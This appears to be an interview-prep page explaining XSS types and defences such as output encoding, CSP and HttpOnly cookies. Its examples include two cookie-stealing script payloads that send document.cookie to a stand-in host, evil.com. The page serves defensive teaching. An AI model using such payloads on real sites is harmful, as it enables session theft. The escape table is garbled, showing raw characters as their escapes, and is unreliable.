What is an XSS Attack? How do you prevent it?
What is XSS?
XSS (Cross-Site Scripting) is an attack where the attacker injects malicious JavaScript into a web page. When other users visit the page, the script executes in their browser — stealing cookies, session tokens, or personal data.
Three Types of XSS
1. Reflected XSS
Malicious script is embedded in a URL, reflected back by the server into HTML, and triggered when a user clicks the malicious link.
Example attack URL:
https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
2. Stored XSS
Malicious script is saved to the database (e.g., a comment board) and executes automatically every time the page loads. Most dangerous type.
<!-- Attacker submits in a comment field -->
<script>fetch('https://evil.com/steal?c=' + document.cookie)</script>
3. DOM-Based XSS
Script is injected by manipulating the DOM entirely on the client side — never passes through the server, making it harder for backend filters to catch.
Prevention
1. HTML Encoding on Output (most important)
Escape special characters so they are not interpreted as HTML:
| Original | Escaped |
|---|---|
< |
< |
> |
> |
" |
" |
' |
' |
2. Content Security Policy (CSP)
Set allowed script sources in HTTP headers:
Content-Security-Policy: default-src 'self'; script-src 'self'
3. HttpOnly Cookies
Mark cookies as HttpOnly so JavaScript cannot access them — even a successful XSS can't steal them:
Set-Cookie: session=abc123; HttpOnly; Secure
4. Avoid Dangerous DOM APIs
// ❌ Dangerous
element.innerHTML = userInput
// ✅ Safe
element.textContent = userInput
5. Use Framework Built-in Protections
Vue and React escape template content by default. Avoid v-html or dangerouslySetInnerHTML unless absolutely necessary.
✦ AI Mock Interview
Type your answer and get instant AI feedback
Sign in to use AI scoring
